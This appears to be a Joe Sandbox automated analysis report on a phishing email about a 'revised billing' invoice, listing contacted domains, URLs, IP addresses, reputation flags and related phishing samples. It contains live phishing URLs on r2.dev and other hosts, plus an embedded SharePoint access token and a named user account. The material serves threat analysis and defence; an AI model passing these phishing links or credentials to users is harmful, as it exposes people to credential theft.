Script=true&siteConfigRace=true	0%	Avira URL Cloud	safe
https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/favicon.ico	0%	Avira URL Cloud	safe
https://4d44d9530e0671627ddff7d141d541b2.fp.measure.office.com/apc/trans.gif?a23a7150042a5471ff9910edd8d97c9c	0%	Avira URL Cloud	safe
https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html)	0%	Avira URL Cloud	safe
https://ipmdoctor-my.sharepoint.com/personal/jkim_boomeranghc_com/_layouts/15/AccessDenied.aspx?correlation=e5a261a1%2D3095%2D6000%2Dd9ad%2Dc5216327f935	0%	Avira URL Cloud	safe
https://ipmdoctor.sharepoint.com/_vti_bin/afdcache.ashx/_userprofile/userphoto.jpg?_oat_=1731079916_9288d2cee204ee0843666d064f4e8ab89d21e9b6c898f71ade9e6cadbd7b42cb&P1=1731008023&P2=-149452251&P3=1&P4=ZUZllmO9UUB5Z9L%2FzvaP21e%2B85qj7HCrS7zl6DGthAjyqJxK7rV0ILSQ216qHl99CLHaNV1cBfdkyAgUPw8ybf%2Br9tNywGK7nbWnasz8y7lGA4g%2ByaBidy9rxukTsH2PW1WQ7SNDbzFWhsQ7qcQb%2BDz%2BXlWcFdJXbJWAbRMKmVRfrijCEVZ5QsKH109Hx9BBR5wbvvcBPISryLXsAMOs0%2FIB0T11v65lqJQNAPbqnPapzMPuuIrfQJ32g6yZzp8Pwu2ahsDuvYheYAMjMNGR0BZfniaiTEDRdLOgcvRrKH6%2FUOed0i0yia%2BiD6qgtkboIs%2BecXaNS0Ge8dUJXA11Rg%3D%3D&size=M&accountname=jkim%40boomeranghc.com	0%	Avira URL Cloud	safe
https://www.clientaxcess.com/sharesafe/	0%	Avira URL Cloud	safe
https://ipmdoctor-my.sharepoint.com/personal/jkim_boomeranghc_com/_api/SP.OAuth.Token/Acquire()	0%	Avira URL Cloud	safe
https://o365.alnassers.net/	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
fowlervillefd.top	147.182.200.48	true	false	unknown
ooc-g2.tm-4.office.com	40.99.150.50	true	false	high
dual-spo-0005.spo-msedge.net	13.107.136.10	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
CDG-efz.ms-acdc.office.com	52.98.227.242	true	false	high
www.google.com	142.250.185.100	true	false	high
api.ipify.org	104.26.13.205	true	false	high
pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev	172.66.0.235	true	true	unknown
o365.alnassers.net	147.79.74.176	true	false	high
mira-ofc.tm-4.office.com	52.110.17.23	true	false	high
r4.res.office365.com	unknown	unknown	false	high
0d28bfe39e08edd7e233d969816cb7d1.fp.measure.office.com	unknown	unknown	false	unknown
outlook.office.com	unknown	unknown	false	high
ipmdoctor-my.sharepoint.com	unknown	unknown	false	high
ipmdoctor.sharepoint.com	unknown	unknown	false	unknown
westus31-mediap.svc.ms	unknown	unknown	false	high
m365cdn.nel.measure.office.net	unknown	unknown	false	high
spo.nel.measure.office.net	unknown	unknown	false	high
outlook.office365.com	unknown	unknown	false	high
tr-ofc-mira.office.com	unknown	unknown	false	high
upload.fp.measure.office.com	unknown	unknown	false	high
config.fp.measure.office.com	unknown	unknown	false	high
4d44d9530e0671627ddff7d141d541b2.fp.measure.office.com	unknown	unknown	false	unknown

Name	Malicious	Antivirus Detection	Reputation
https://fowlervillefd.top/300/	true	Avira URL Cloud: safe	unknown
https://tr-ofc-mira.office.com/apc/trans.gif?85f4be918195fb4c78cc07a4710daef5	false		high
https://4d44d9530e0671627ddff7d141d541b2.fp.measure.office.com/apc/trans.gif?a23a7150042a5471ff9910edd8d97c9c	false	Avira URL Cloud: safe	unknown
https://ipmdoctor-my.sharepoint.com/personal/jkim_boomeranghc_com/_layouts/15/AccessDenied.aspx?correlation=e5a261a1%2D3095%2D6000%2Dd9ad%2Dc5216327f935	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://westus31-mediap.svc.ms/transform/passthrough?provider=spo&inputFormat=pdf&cs=fFNQTw&docid=https%3A%2F%2Fipmdoctor-my.sharepoint.com%3A443%2F_api%2Fv2.0%2Fdrives%2Fb!vGkaRjrH8Eqoihwm-YWIYyVq0ofWUJlMnFhRHwzMXUUWhW1hX_QaTrmfUP5MpFVJ%2Fitems%2F01OK5L7JS5D7OK4LNHYREKAIQS5EZCCG5Q%3Fversion%3DPublished&access_token=v1.eyJzaXRlaWQiOiI0NjFhNjliYy1jNzNhLTRhZjAtYTg4YS0xYzI2Zjk4NTg4NjMiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvaXBtZG9jdG9yLW15LnNoYXJlcG9pbnQuY29tQGY1OGZmYWFmLTA2ZGUtNDI3MC1hNDMwLWFlZDgyMTQ1ODQyNSIsImV4cCI6IjE3MzEwMjQwMDAifQ.CiMKCXNoYXJpbmdpZBIWRzdERjRVeDcya21LbzRxakMxaEtrZwoICgNzdHASAXQKCgoEc25pZBICMzMSBgiE2ToQARoOMTczLjI1NC4yNTAuNzkiFG1pY3Jvc29mdC5zaGFyZXBvaW50KixkdUdQSEpmdjVBd1VoZU9XMlNnSFcvQUlZT3VtYm1DL25IRzJTZFptTC9VPTB3OAFKEGhhc2hlZHByb29mdG9rZW5iBHRydWVyYTBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2N6ATDCAWEwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNjYmEwN2FkODU0MzlmZWM4NGU0YjU0NmMzNTFiZmI3ZDhjZGQ0MDk0Y2NhNjRiYjFkNWNjYjYxOWU3OTBlNDNj.phlakqmj3iuJPuaOLYMKx0sRYZ6Ltmw4Y3Fj2vos290&cTag=%22c%3A%7BAEDC1F5D-A72D-48C4-A022-12E932211BB0%7D%2C1%22	false		high
https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html	true		unknown
https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ipmdoctor-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&enableTheming=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&siteConfigRace=true	false	Avira URL Cloud: safe	unknown
https://o365.alnassers.net/	false	Avira URL Cloud: safe	unknown
https://ipmdoctor.sharepoint.com/_vti_bin/afdcache.ashx/_userprofile/userphoto.jpg?_oat_=1731079916_9288d2cee204ee0843666d064f4e8ab89d21e9b6c898f71ade9e6cadbd7b42cb&P1=1731008023&P2=-149452251&P3=1&P4=ZUZllmO9UUB5Z9L%2FzvaP21e%2B85qj7HCrS7zl6DGthAjyqJxK7rV0ILSQ216qHl99CLHaNV1cBfdkyAgUPw8ybf%2Br9tNywGK7nbWnasz8y7lGA4g%2ByaBidy9rxukTsH2PW1WQ7SNDbzFWhsQ7qcQb%2BDz%2BXlWcFdJXbJWAbRMKmVRfrijCEVZ5QsKH109Hx9BBR5wbvvcBPISryLXsAMOs0%2FIB0T11v65lqJQNAPbqnPapzMPuuIrfQJ32g6yZzp8Pwu2ahsDuvYheYAMjMNGR0BZfniaiTEDRdLOgcvRrKH6%2FUOed0i0yia%2BiD6qgtkboIs%2BecXaNS0Ge8dUJXA11Rg%3D%3D&size=M&accountname=jkim%40boomeranghc.com	false	Avira URL Cloud: safe	unknown
https://ipmdoctor-my.sharepoint.com/personal/jkim_boomeranghc_com/_api/SP.OAuth.Token/Acquire()	false	Avira URL Cloud: safe	unknown
https://tr-ofc-mira.office.com/apc/trans.gif?3e0ceb14ec36cc8edc937e2e277df39c	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://shell.suite.office.com:1443	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://designerapp.azurewebsites.net	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://autodiscover-s.outlook.com/	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://useraudit.o365auditrealtimeingestion.manage.office.com	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-light.woff	chromecache_941.11.dr	false		high
https://outlook.office365.com/connectors	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://cdn.entity.	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://login.windows.localnull	OUTLOOK_16_0_16827_20130-20241107T1400480649-7036.etl.0.dr	false		high
https://rpsticket.partnerservices.getmicrosoftkey.com	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://lookup.onenote.com/lookup/geolocation/v1	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semibold.w	chromecache_941.11.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://api.aadrm.com/	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://canary.designerapp.	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
http://www.opensource.org/licenses/mit-license.php	chromecache_787.11.dr	false		high
https://pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev/0nedrivedoc.html)	chromecache_1141.11.dr, chromecache_873.11.dr	true	Avira URL Cloud: safe	unknown
https://www.yammer.com	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://api.microsoftstream.com/api/	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://northcentralus1-medias.svc.ms	chromecache_1088.11.dr, chromecache_930.11.dr, chromecache_844.11.dr, chromecache_955.11.dr, chromecache_1126.11.dr, chromecache_1082.11.dr, chromecache_965.11.dr	false		high
https://cr.office.com	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://onedrive.live.com/?gologin=1	chromecache_719.11.dr, chromecache_1011.11.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-light.wo	chromecache_941.11.dr	false		high
https://messagebroker.mobile.m365.svc.cloud.microsoft	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://otelrules.svc.static.microsoft	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-regular.woff2	chromecache_941.11.dr	false		high
https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute	chromecache_902.11.dr, chromecache_892.11.dr	false		high
https://edge.skype.com/registrar/prod	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://tasks.office.com	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://login.windows.localR	OUTLOOK_16_0_16827_20130-20241107T1400480649-7036.etl.0.dr	false		high
https://officeci.azurewebsites.net/api/	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff	chromecache_941.11.dr	false		high
https://my.microsoftpersonalcontent.com	chromecache_965.11.dr	false		high
https://store.office.cn/addinstemplate	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://edge.skype.com/rps	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semilight.	chromecache_941.11.dr	false		high
https://messaging.engagement.office.com/	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://www.odwebp.svc.ms	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://api.powerbi.com/v1.0/myorg/groups	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://web.microsoftstream.com/video/	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://api.addins.store.officeppe.com/addinstemplate	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://graph.windows.net	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://login.windows.localnullD	OUTLOOK_16_0_16827_20130-20241107T1400480649-7036.etl.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff	chromecache_941.11.dr	false		high
https://consent.config.office.com/consentcheckin/v1.0/consents	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://www.clientaxcess.com/sharesafe/	~WRS{B02E8208-851C-4CA4-B31F-A161FD6ADE87}.tmp.0.dr	false	Avira URL Cloud: safe	unknown
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://notification.m365.svc.cloud.microsoft/PushNotifications.Register	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://d.docs.live.net	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://safelinks.protection.outlook.com/api/GetPolicy	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-regular.woff	chromecache_941.11.dr	false		high
https://ncus.contentsync.	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff2	chromecache_941.11.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
http://weather.service.msn.com/data.aspx	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://mss.office.com	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://pushchannel.1drv.ms	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://wus2.contentsync.	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://outlook.office.com/search	chromecache_971.11.dr, chromecache_980.11.dr	false		high
https://www.office.com/login?ru=%2Flaunch%2F$	chromecache_1011.11.dr	false		high
https://clients.config.office.net/user/v1.0/ios	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://shellppe.msocdn.com	chromecache_1088.11.dr, chromecache_930.11.dr	false		high
https://api.addins.omex.office.net/api/addins/search	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
http://www.unicode.org/copyright.html	chromecache_1008.11.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff2	chromecache_941.11.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semiligh	chromecache_941.11.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff	chromecache_941.11.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-regular.wo	chromecache_941.11.dr	false		high
https://clients.config.office.net/user/v1.0/android/policies	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://entitlement.diagnostics.office.com	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://outlook.office.com/	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-bold.w	chromecache_941.11.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high
https://reactjs.org/link/react-polyfills	chromecache_1134.11.dr	false		high
http://schema.org	ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg	false		high
https://login.microsoftonline.com	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr, chromecache_1054.11.dr, chromecache_774.11.dr	false		high
https://substrate.office.com/search/api/v1/SearchHistory	685EEC03-6753-403A-B962-BC0D7B525D10.0.dr	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
52.98.228.2	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
40.99.153.146	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
52.98.234.226	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.66.0.235	pub-3080d3652c0f47b18b2c244bf5856be6.r2.dev	United States	13335	CLOUDFLARENETUS	true
147.182.200.48	fowlervillefd.top	United States	27555	BV-PUBLIC-ASNUS	false
40.99.217.114	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.98.227.242	CDG-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.136.10	dual-spo-0005.spo-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
147.79.74.176	o365.alnassers.net	United States	208485	EKSENBILISIMTR	false
52.110.17.23	mira-ofc.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
40.99.150.50	ooc-g2.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
52.110.17.37	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551517
Start date and time:	2024-11-07 20:00:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg
Detection:	MAL
Classification:	mal64.phis.winMSG@26/745@81/18
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .msg

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.66.137	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://site9615380.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js
	http://grandprairie-water-damage-restoration.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js
172.66.0.235	http://pub-ba5a046c69974217b0431bca4ba43740.r2.dev/rep.html	Get hash	malicious	HTMLPhisher	Browse	pub-ba5a046c69974217b0431bca4ba43740.r2.dev/rep.html
	http://pub-51f896deb233450089fc1a520e6ed957.r2.dev/kanehods.html	Get hash	malicious	HTMLPhisher	Browse	pub-51f896deb233450089fc1a520e6ed957.r2.dev/kanehods.html
	http://pub-7d056bfeb6b04852801553620fe62c0a.r2.dev/brtw.html	Get hash	malicious	HTMLPhisher	Browse	pub-7d056bfeb6b04852801553620fe62c0a.r2.dev/brtw.html
	http://pub-f3922f20d4c74ba1869fd3db906e3295.r2.dev/gsecondcheck.html	Get hash	malicious	HTMLPhisher	Browse	pub-f3922f20d4c74ba1869fd3db906e3295.r2.dev/gsecondcheck.html
	http://pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).html	Get hash	malicious	HTMLPhisher	Browse	pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).html
	http://pub-da74aa96e0b9429e84033f8671051bd7.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-da74aa96e0b9429e84033f8671051bd7.r2.dev/index.html
	http://pub-b8aece6410254e0eafbd860997dcc12f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-b8aece6410254e0eafbd860997dcc12f.r2.dev/index.html
	http://pub-a4d4b2b201fe4abc93f68d7648ccb42c.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-a4d4b2b201fe4abc93f68d7648ccb42c.r2.dev/index.html
	http://pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html	Get hash	malicious	HTMLPhisher	Browse	pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html
	http://pub-1cedadbfd7e64635bb38bf2b96ef0c3f.r2.dev/woosb.html	Get hash	malicious	Unknown	Browse	pub-1cedadbfd7e64635bb38bf2b96ef0c3f.r2.dev/woosb.html

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ooc-g2.tm-4.office.com	https://shared.outlook.inky.com/link?domain=ctrk.klclick.com&t=h.eJx1zT1vwjAUheG_gjyX2E4ItpkoQgJlqGgUqWNlGzu1cvMh-2ZAFf8dJUO37s857y-ZI5DDhvwgTulAqcXYZR1YCLbL7NhToIxX76K5FNdzw9mtvtQf1dfts2rq0zcjbxvSLfs2mKgBddyaOYXBpbS1egqogcbRRXRw_CPGrs--9LkSd--5LbksuVHGi72WO6WkZCKnXORqLwvBimxXLiW3ljAAuMexnbDXg25d7wZMI8wYxiEtzwu9r_R_8nwBLatRZw.MEYCIQCSahzZW_4sDNrHIm-tqOS-MfCLNun8fj_Bxq7Zj7FBvQIhAKVsQPfH8EnP8IAulYo78COUXm3bMhbNANS-wTC8S6QO#bW1vc2VyQHNreWxpbmUtaG9sdC5jb20=	Get hash	malicious	HTMLPhisher	Browse	52.98.179.82
	https://docs.google.com/drawings/d/16aLMbL32wnhWFCR-cOQsVjZ_IjkqNuDyBIYT5G0hJjI/preview?pli=1M6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67nP7OXV3HvrtT5dsO5ZTZeQKw2TuFqTYPJfDODqRTQMZxM6Qg67n	Get hash	malicious	HTMLPhisher	Browse	40.99.150.82
	bc3c228ad2c13f96cb14375c3860e802.pdf	Get hash	malicious	HTMLPhisher	Browse	52.98.179.34
	https://2007.filemail.com/api/file/get?filekey=58mKUrTMdlmzqkRvo0UdVa2TMjJTCQiSNv5rUBtsDQTNU0dM4JzppUJaOrP_mWxCym0k9l5xEDeaXunPsHq6frY8XZH_gnclw86MefA3bpAlGuDkr77-xSqrMOQIlMdW5cRjwoOSCWIlTwpC48cNKMMHhMKp&track=P8fpm4ry&pk_vid=8a8b18f03738ae4f17297703684d559d	Get hash	malicious	HTMLPhisher	Browse	52.98.152.162
